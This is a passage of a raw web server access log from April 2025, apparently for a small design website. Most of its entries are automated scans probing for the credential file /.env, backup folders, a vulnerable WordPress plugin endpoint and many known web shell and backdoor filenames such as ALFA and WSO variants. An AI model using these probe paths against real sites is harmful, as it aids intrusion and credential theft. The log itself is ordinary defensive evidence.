"-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 43.159.138.217 - - [14/Apr/2025:04:00:53 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 84.239.25.14 - - [14/Apr/2025:04:15:09 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 114.119.147.166 - - [14/Apr/2025:04:32:55 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 20.14.154.215 - - [14/Apr/2025:04:54:41 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:04:54:45 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:04:54:46 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:04:54:48 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:04:54:49 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:04:54:49 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:04:54:51 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:04:54:52 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:04:54:55 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:04:54:56 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 119.42.148.82 - - [14/Apr/2025:05:03:09 -0400] "GET /tools/upload_ajax.ashx?action=uploadimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 84.239.25.14 - - [14/Apr/2025:05:09:12 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 77.238.225.146 - - [14/Apr/2025:05:12:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 66.249.79.97 - - [14/Apr/2025:05:47:41 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.96 - - [14/Apr/2025:05:47:41 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 54.36.148.70 - - [14/Apr/2025:05:53:58 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 195.200.26.27 - - [14/Apr/2025:06:12:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 18.223.108.59 - - [14/Apr/2025:06:15:56 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 128.24.49.172 - - [14/Apr/2025:06:18:47 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [14/Apr/2025:06:18:49 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [14/Apr/2025:06:18:51 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [14/Apr/2025:06:18:54 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [14/Apr/2025:06:18:55 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [14/Apr/2025:06:18:56 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [14/Apr/2025:06:18:56 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [14/Apr/2025:06:18:57 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [14/Apr/2025:06:18:57 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [14/Apr/2025:06:18:58 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 18.223.108.59 - - [14/Apr/2025:07:11:04 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 170.106.11.6 - - [14/Apr/2025:08:26:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 119.42.145.234 - - [14/Apr/2025:08:39:05 -0400] "GET /static/images/nopic.png HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 66.249.79.107 - - [14/Apr/2025:08:56:59 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.107 - - [14/Apr/2025:08:57:00 -0400] "GET /images/social/Social_by_Deisgn_Pitara_01.jpg HTTP/1.1" 301 795 "-" "Googlebot-Image/1.0" 111.68.8.170 - - [14/Apr/2025:08:58:35 -0400] "GET /js/player/dmplayer/dmku/dm_rule.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 125.75.66.97 - - [14/Apr/2025:09:15:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [14/Apr/2025:09:55:30 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [14/Apr/2025:09:56:31 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [14/Apr/2025:09:57:10 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [14/Apr/2025:09:57:23 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [14/Apr/2025:09:58:07 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 43.135.145.73 - - [14/Apr/2025:10:00:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 165.22.102.232 - - [14/Apr/2025:10:06:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 5.1.1; SM-J111F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.90 Mobile Safari/537.36" 165.22.102.232 - - [14/Apr/2025:10:06:35 -0400] "GET /wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 5.1.1; SM-J111F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.90 Mobile Safari/537.36" 89.175.12.245 - - [14/Apr/2025:10:10:40 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 196.251.81.38 - - [14/Apr/2025:10:28:57 -0400] "GET /wp-content/plugins/dzs-zoomsounds/savepng.php?location=1877.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 196.251.81.38 - - [14/Apr/2025:10:28:57 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.81.38 - - [14/Apr/2025:10:28:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.81.38 - - [14/Apr/2025:10:28:57 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.81.38 - - [14/Apr/2025:10:28:57 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.81.38 - - [14/Apr/2025:10:28:57 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.81.38 - - [14/Apr/2025:10:28:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.81.38 - - [14/Apr/2025:10:28:57 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.81.38 - - [14/Apr/2025:10:28:57 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.81.38 - - [14/Apr/2025:10:28:57 -0400] "GET /wp-content/plugins/dzs-zoomsounds/savepng.php?location=1877.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 196.251.81.38 - - [14/Apr/2025:10:28:59 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.81.38 - - [14/Apr/2025:10:28:59 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 52.184.145.227 - - [14/Apr/2025:10:50:04 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:07 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:07 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:08 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:08 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:08 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:09 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:09 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:10 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:10 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:10 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:11 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:11 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:12 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:12 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:13 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:13 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:13 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:14 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:14 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:14 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:15 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:16 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:16 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:16 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:17 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:17 -0400] "GET /admin/indexupload.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:17 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:18 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:18 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:18 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:19 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:19 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:20 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:20 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:21 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:21 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:22 -0400] "GET /white.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:22 -0400] "GET /wp-content/languages/a2.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:24 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:24 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:24 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:25 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:25 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:26 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:26 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:27 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:27 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:27 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:28 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:28 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:29 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:29 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:29 -0400] "GET /wp-content/plugins/elementor/assets/css/sf2vh3/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:29 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:30 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:30 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:30 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:31 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:31 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:31 -0400] "GET /wp_wol.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:32 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:32 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:32 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:33 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:33 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:33 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:34 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:34 -0400] "GET /.well-known/pki-validation/wp.-.admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:34 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:34 -0400] "GET /wp-includes/css/dist/format-library/lock.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:35 -0400] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:35 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:36 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:36 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:36 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:37 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:37 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:37 -0400] "GET /about.PHP HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:38 -0400] "GET /wp-includes/ID3/go.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:38 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:38 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:39 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:39 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:39 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:39 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:40 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:40 -0400] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:40 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:41 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:41 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:41 -0400] "GET /wp-admin/images/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:41 -0400] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:42 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:42 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:42 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:43 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:43 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:43 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:44 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:44 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:44 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:45 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:45 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:46 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:46 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:46 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:47 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:47 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:47 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:48 -0400] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:48 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:49 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:50:49 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 